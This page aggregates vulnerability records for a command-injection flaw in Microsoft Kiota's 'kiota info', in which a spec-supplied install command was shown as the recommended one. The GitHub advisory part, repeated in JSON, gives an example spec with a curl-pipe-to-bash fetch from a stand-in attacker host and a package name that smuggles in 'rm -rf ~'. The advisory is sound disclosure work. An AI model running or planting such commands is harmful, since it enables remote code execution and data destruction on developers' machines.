Vulnerability-Lookup

CVE-2026-59865 (GCVE-0-2026-59865)

Vulnerability from cvelistv5 – Published: 2026-07-16 14:43 – Updated: 2026-08-17 15:03

Title

Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Summary

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-17 03:56 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-829 - Inclusion of Functionality from Untrusted Control Sphere

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/microsoft/kiota/security/advis…	x_refsource_CONFIRM
https://github.com/microsoft/kiota/pull/7883	x_refsource_MISC
https://github.com/microsoft/kiota/commit/e1d6d76…	x_refsource_MISC
https://github.com/microsoft/kiota/releases/tag/v1.32.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
microsoft	kiota	Affected: >= 1.30.0, < 1.31.1 Affected: < 1.29.1	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-59865

Vulnerability from fkie_nvd - Published: 2026-07-16 16:19 - Updated: 2026-08-17 15:16

Severity

9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6
	security-advisories@github.com	https://github.com/microsoft/kiota/pull/7883
	security-advisories@github.com	https://github.com/microsoft/kiota/releases/tag/v1.32.5
	security-advisories@github.com	https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kiota",
          "vendor": "microsoft",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.30.0, \u003c 1.31.1"
            },
            {
              "status": "affected",
              "version": "\u003c 1.29.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota\u0027s recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension\u0027s kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5."
    }
  ],
  "id": "CVE-2026-59865",
  "lastModified": "2026-08-17T15:16:56.963",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
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    {
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      "url": "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
    },
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      "url": "https://github.com/microsoft/kiota/pull/7883"
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    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
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      ],
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}

GHSA-HQ9Q-27G5-QWPJ

Vulnerability from github – Published: 2026-07-24 16:11 – Updated: 2026-08-17 14:55

Summary

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Details

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.32.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota.Builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.32.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota.Builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:11:46Z",
    "nvd_published_at": "2026-07-16T16:19:15Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`kiota info` \u2014 the command developers run to learn which packages to install after generating a client \u2014\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool\u0027s own recommended install\ncommand**, replacing kiota\u0027s normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota\u0027s explicit instruction (run the suggested install command) executed\nattacker-controlled shell \u2014 **command injection \u2192 RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec\u0027s value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota\u0027s instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota\u0027s hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota\u0027s own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.",
  "id": "GHSA-hq9q-27g5-qwpj",
  "modified": "2026-08-17T14:55:20Z",
  "published": "2026-07-24T16:11:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/pull/7883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/kiota"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`"
}

Sightings

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-59865 (GCVE-0-2026-59865)

FKIE_CVE-2026-59865

GHSA-HQ9Q-27G5-QWPJ

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